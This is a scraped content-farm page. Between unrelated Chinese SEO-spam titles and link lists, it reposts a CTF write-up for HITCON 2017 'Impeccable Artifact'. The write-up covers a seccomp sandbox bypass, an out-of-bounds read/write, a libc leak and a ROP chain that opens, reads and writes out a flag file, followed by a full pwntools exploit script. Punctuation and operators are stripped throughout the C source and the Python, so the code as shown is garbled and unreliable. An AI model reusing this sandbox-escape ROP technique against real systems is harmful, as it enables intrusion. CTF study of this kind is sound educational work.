当前位置: 首页 > news >正文

做动物网站的原因成都企业网站建设公司电话

做动物网站的原因,成都企业网站建设公司电话,通付盾 网站建设公司,wordpress跳转到微信文章目录 沙箱逃脱prtcl题HITCON CTF 2017 Quals Impeccable Artifactflag文件对应prctl函数检查源码思路exp 沙箱逃脱prtcl题 HITCON CTF 2017 Quals Impeccable Artifact flag文件 此时的flag文件在本文件夹建一个即可 此时的我设置的flag为 对应prctl函数 第一条是禁止… 文章目录 沙箱逃脱prtcl题HITCON CTF 2017 Quals Impeccable Artifactflag文件对应prctl函数检查源码思路exp 沙箱逃脱prtcl题 HITCON CTF 2017 Quals Impeccable Artifact flag文件 此时的flag文件在本文件夹建一个即可 此时的我设置的flag为 对应prctl函数 第一条是禁止特权 第二条是按定义的BPF来建立沙箱 检查 保护全开 查看沙箱规则 就是首先查看架构如果不是ARCH_X86_64就禁止该系统调用然后获取该系统调用的第二个参数并复制给X然后获得系统调用号接着检查系统调用号是否和read write fstat lseek 一样一样的话允许执行。都不一样就看是否和mmap一样如果一样就检查系统调用的第二个参数是否是奇数如果是则禁止如果不是则允许如果系统调用号和mmap不一样就看是否和mprotect一样如果一样依然检查系统调用的第二个参数是否是奇数如果是则禁止如果不是则允许。如果系统调用号和mprotect不一样就检查看系统调用号是否和系统调用的第二个参数一样一样则允许该系统调用否则看系统调用号再是否和brk exit exit_group相等相同则允许都不同那么将禁止该系统调用 源码 __int64 __fastcall main(__int64 a1, char **a2, char **a3) {__int64 *v3; // rdxconst char *v4; // rdiint v6; // [rsp8h] [rbp-658h] BYREFint v7; // [rspCh] [rbp-654h] BYREF__int64 v8[200]; // [rsp10h] [rbp-650h] BYREF_QWORD v9[2]; // [rsp650h] [rbp-10h] BYREFv9[1] __readfsqword(0x28u);sub_9F0(a1, a2, a3);v3 v8;memset(v8, 0, sizeof(v8));v4 (const char *)v9;while ( 1 ){sub_A29(v4, a2, v3);v7 0;_isoc99_scanf(%d, v6);if ( v6 ! 1 v6 ! 2 )break;puts(Idx?);_isoc99_scanf(%d, v7);if ( v6 1 ){a2 (char **)v8[v7];v4 Here it is: %lld\n;printf(Here it is: %lld\n, a2);}else{puts(Give me your number:);a2 (char **)v8[v7];v4 %lld;_isoc99_scanf(%lld, a2);}}return 0LL; }即输入一个位置然后可以往这个位置写数据或者显示这个数据输入位置没有检查可以任意读和任意写 思路 注意数组和var_8中级还有八个字节var_8对应的索引为201 首先利用main函数结尾ret指令为返回到libc_start_main241的位置可以利用show越界显示这个地址对应数组的索引是203.从而泄露libc基地址然后得到各种gadget的地址 由于我们的目标是读到flag文件的内容所以需要open函数然后read再write系统调用open函数需满足rdxrax即可成功调用 由于需要先将文件内容读到内存里再通过write输出所以还需知道内存的某段位置此时发现栈上存在栈的地址对应数组索引为205将该栈地址与返回地址相减得到0xE0所以对应的索引就是231 直到通过该得到的栈地址-231*8可得到数组的起始地址然后输入open的第一个参数在此位置即./flag注意此时由于函数此时是整数输入输入的字节会逆序排放到内存中而调用open时是字符串参数会从低地址到高地址一个一个转换所以此时我们需要逆序输入./flag的字节即按galf/.字节输入 接下来就构造ROP链即可首先是open(数组的初始地址02) rax2此时构造的rdx不会对函数有影响只是使得第二个参数和rax的值一样得以成功调用系统调用。 然后是read(之前open的返回值即rax的值栈上的一段空间地址输入写入长度) rax0此时得先将rax的值给rdi然后再将rax赋值为0。 此时找不到mov rdirax ret所有gadget后面都有个跳转此时需要控制跳转的位置最终还能回到ROP链上来那么得提前控制rcx如果rcx是一个pop ret的gadget位置那么还能回到原来mov rdi rax call rcx的下一个gadget因为此时call会往栈压入一个返回地址pop后ret正好能回到mov rdi rax call rcx的下一个gadget的位置此时得提前准备好一个pop ret的gadget的地址在栈上然后先pop rcxret使得rcx是pop ret的gadget的地址。其他两个参数比较好控制 最后write(1,read输入的那段地址输出长度)rax1 此时只需修改rax和rdi即可rsi和rdx不要变和read的rsi和rdx一样最后输出flag exp #!/usr/bin/env pythonfrom pwn import *r process(./artifact)gdb.attach(r,b main) def menu():r.recvuntil(?\n)def cmd(num):r.sendline(str(num))def show(num):cmd(1)r.sendline(str(num))r.recvuntil(Here it is: )ret r.recvline()[:-1]menu()return retdef memo(num, inp):cmd(2)r.sendline(str(num))r.recvuntil(Give me your number:\n)r.sendline(str(inp))menu()def end():cmd(3)menu()# leak libc adress libc int(show(203)) - 241 - 0x20300 print (libc:, hex(libc))# stack address index: 231 stack int(show(205)) print (stack:, hex(stack))pop_rax libc 0x3a998 pop_rdi libc 0x1fd7a pop_rsi libc 0x1fcbd pop_rdx libc 0x1b92 pop_rcx libc 0x1a97b8 mov_rdi_rax_call_rcx libc 0x89ae9 syscall libc 0xbc765# ./flagmemo(0, 0x67616c662f2e)# open memo(203, pop_rdi) memo(204, stack - 231*8) memo(205, pop_rsi) memo(206, 0) memo(207, pop_rdx) memo(208, 2) memo(209, pop_rax) memo(210, 2) memo(211, syscall)# read memo(212, pop_rcx) memo(213, pop_rax) memo(214, mov_rdi_rax_call_rcx) memo(215, pop_rax) memo(216, 0) memo(217, pop_rsi) memo(218, stack - 80*8) memo(219, pop_rdx) memo(220, 100) memo(221, syscall)# write memo(222, pop_rax) memo(223, 1) memo(224, pop_rdi) memo(225, 1) memo(226, syscall)end()r.interactive()
http://www.zqtcl.cn/news/696589/

相关文章:

  • wap网站制作当阳网站建设电话
  • 服装电子商务网站建设3000字中装建设有限公司
  • 河南卓越建设工程有限公司网站怎么做垂直门户网站
  • 接单做网页的网站手机端app开发公司
  • 古田路9号设计网站在线制作图片拼图
  • 深圳网站开发ucreator售后服务 网站建设
  • 做网站的语北京比较好的it公司
  • 长春建站模板制作php项目开发案例源码
  • 绍兴seo外包公司山东网站建设优化
  • php做网站知乎境外网站icp备案
  • 做seo网站图片怎么优化地坪漆东莞网站建设技术支持
  • wordpress theme forest济南优化网站排名
  • 简述网站的制作步骤合肥网站建设需
  • 网站备案的程序哪里能买精准客户电话
  • 白云网站建设网站版式
  • 做美食有哪些网站科技公司介绍
  • 网站后台被百度蜘蛛抓取哪个做网站比较好
  • 企业建设网站的需求分析百度免费发布信息平台
  • 网站建设交易中心上海装修公司排行榜
  • 桂林论坛网站有哪些在线设计平台用户分析
  • wap网站的开发去加网 wordpress
  • 博客网站建设设计论文总结php mysql做网站登录
  • 海南智能网站建设公司wordpress 如何使用php版本号
  • 河南网站开发培训app 软件开发
  • 购物网站功能介绍一流的高密网站建设
  • 电影网站怎么做优化wordpress 去掉w
  • 永久网站空间标书制作员工资很低吗
  • 做网站用到ps么淘宝优惠网站怎么做
  • jsp 淘宝网站验证码 设计搜索引擎排名
  • pdf怎么做电子书下载网站北京成立公司